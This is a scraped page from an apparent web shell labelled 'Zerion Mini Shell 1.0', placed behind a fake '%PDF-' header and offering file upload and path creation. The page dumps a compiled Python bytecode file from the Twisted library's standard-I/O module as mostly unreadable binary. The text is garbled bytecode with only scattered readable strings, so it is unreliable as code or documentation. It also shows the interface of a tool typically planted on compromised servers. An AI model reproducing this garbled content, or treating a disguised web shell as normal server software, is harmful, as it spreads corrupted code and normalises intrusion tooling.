%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/internet/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/internet/__pycache__/_posixstdio.cpython-312.pyc

�

Ϫ�f����dZddlmZddlmZmZmZddlmZm	Z	eej�Gd�d��Zeejejejej�Gd�d��Zy	)
z�Standard input/out/err support.

Future Plans::

    support for stderr, perhaps
    Rewrite to use the reactor instead of an ad-hoc mechanism for connecting
        protocols to transport.

Maintainer: James Y Knight
�)�implementer)�error�
interfaces�process)�failure�logc��eZdZy)�PipeAddressN)�__name__�
__module__�__qualname__���>/usr/lib/python3/dist-packages/twisted/internet/_posixstdio.pyr
r
s��rr
c��eZdZdZdZdZdZdd�Zd�Zd�Z	d�Z
d�Zd�Zd	�Z
d
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zy)�
StandardIONFc��|�ddlm}||_tj||d|�|_tj||d|�|_|jj�|jj|�y)Nr)�reactor�write�read)
�twisted.internetr�protocolr�
ProcessWriter�_writer�
ProcessReader�_reader�startReading�makeConnection)�self�proto�stdin�stdoutrs     r�__init__zStandardIO.__init__%sc���?�0���
��,�,�W�d�G�V�L����,�,�W�d�F�E�J������!�!�#��
�
�$�$�T�*rc�R�|j�|jj�yy�N)r�loseConnection�rs r�loseWriteConnectionzStandardIO.loseWriteConnection2�!���<�<�#��L�L�'�'�)�$rc�T�|j�|jj|�yyr%)rr�r�datas  rrzStandardIO.write6s#���<�<�#��L�L���t�$�$rc�T�|j�|jj|�yyr%)r�
writeSequencer+s  rr.zStandardIO.writeSequence:s#���<�<�#��L�L�&�&�t�,�$rc��d|_|j�|jj�|j�|jj	�yy�NT)�
disconnectingrr&r�stopReadingr's rr&zStandardIO.loseConnection>sC��!����<�<�#��L�L�'�'�)��<�<�#��L�L�$�$�&�$rc��t�Sr%�r
r's r�getPeerzStandardIO.getPeerG�
���}�rc��t�Sr%r4r's r�getHostzStandardIO.getHostJr6rc�:�|jj|�yr%)r�dataReceived)r�fdr,s   r�childDataReceivedzStandardIO.childDataReceivedNs���
�
�"�"�4�(rc���|jry|jjtjk(r)|dk(r|j|�y|j
|�y|j|�y)Nr)�disconnected�value�	__class__r�ConnectionDone�_readConnectionLost�_writeConnectionLost�connectionLost)rr;�reasons   r�childConnectionLostzStandardIO.childConnectionLostQsW�������<�<�!�!�U�%9�%9�9��V�|��(�(��0��)�)�&�1�����'rc�j�d|_|j}|j}|j}dx|_|_d|_|�|js|j	|�|�|js|j	|�	|j	|�y#t
$rt
j�YywxYwr0)r>rrrrD�
BaseExceptionr�err)rrErrrs     rrDzStandardIO.connectionLost^s��� ����,�,���,�,���=�=��&*�*���t�|���
���w�';�';��"�"�6�*���w�';�';��"�"�6�*�	��#�#�F�+���	��G�G�I�	�s�B�B2�1B2c�B�d|_|jr|j|�ytj|j
d�}|r	|j
�yy#t$r:tj�|jtj��YywxYwr%)rr1rDr�IHalfCloseableProtocolr�writeConnectionLostrHrrIr�Failure�rrE�ps   rrCzStandardIO._writeConnectionLostss�������������'���-�-�d�m�m�T�B���
7��%�%�'�
��!�
7����	��#�#�G�O�O�$5�6�
7�s�	A�AB�Bc�(�d|_tj|jd�}|r	|j	�y|j|�y#t
$r:t
j�|jtj��YywxYwr%)rrrKr�readConnectionLostrHrrIrDrrMrNs   rrBzStandardIO._readConnectionLost�sr������-�-�d�m�m�T�B���
7��$�$�&�

����'��	!�
7����	��#�#�G�O�O�$5�6�
7�s�A�AB�Bc�v�|j�|j�y|jj||�yr%)r�
stopProducing�registerProducer)r�producer�	streamings   rrTzStandardIO.registerProducer�s,���<�<���"�"�$��L�L�)�)�(�I�>rc�R�|j�|jj�yyr%)r�unregisterProducerr's rrXzStandardIO.unregisterProducer�s!���<�<�#��L�L�+�+�-�$rc�$�|j�yr%)r&r's rrSzStandardIO.stopProducing�s�����rc�R�|j�|jj�yyr%)r�pauseProducingr's rr[zStandardIO.pauseProducing�r)rc�R�|j�|jj�yyr%)r�resumeProducingr's rr]zStandardIO.resumeProducing�s!���<�<�#��L�L�(�(�*�$rc�$�|j�y)z3Compatibility only, don't use. Call pauseProducing.N)r[r's rr2zStandardIO.stopReading�s�����rc�$�|j�y)z4Compatibility only, don't use. Call resumeProducing.N)r]r's rrzStandardIO.startReading�s�����rc��t��r%��NotImplementedError�rrEs  rrQzStandardIO.readConnectionLost����!�#�#rc��t��r%rarcs  rrLzStandardIO.writeConnectionLost�rdr)r�N)rrr
rrr>r1r#r(rr.r&r5r8r<rFrDrCrBrTrXrSr[r]r2rrQrLrrrrrs����G��G��L��M�+�*�%�-�'���)�(��*7�
(�?�.�
�*�+���$�$rrN)�__doc__�zope.interfacerrrrr�twisted.pythonrr�IAddressr
�
ITransport�	IProducer�	IConsumer�IHalfCloseableDescriptorrrrr�<module>ros���	�'�7�7�'�
�Z�
 �
 �!�	�	�"�	�
�����������'�'�	�S$�S$�
�S$r

Zerion Mini Shell 1.0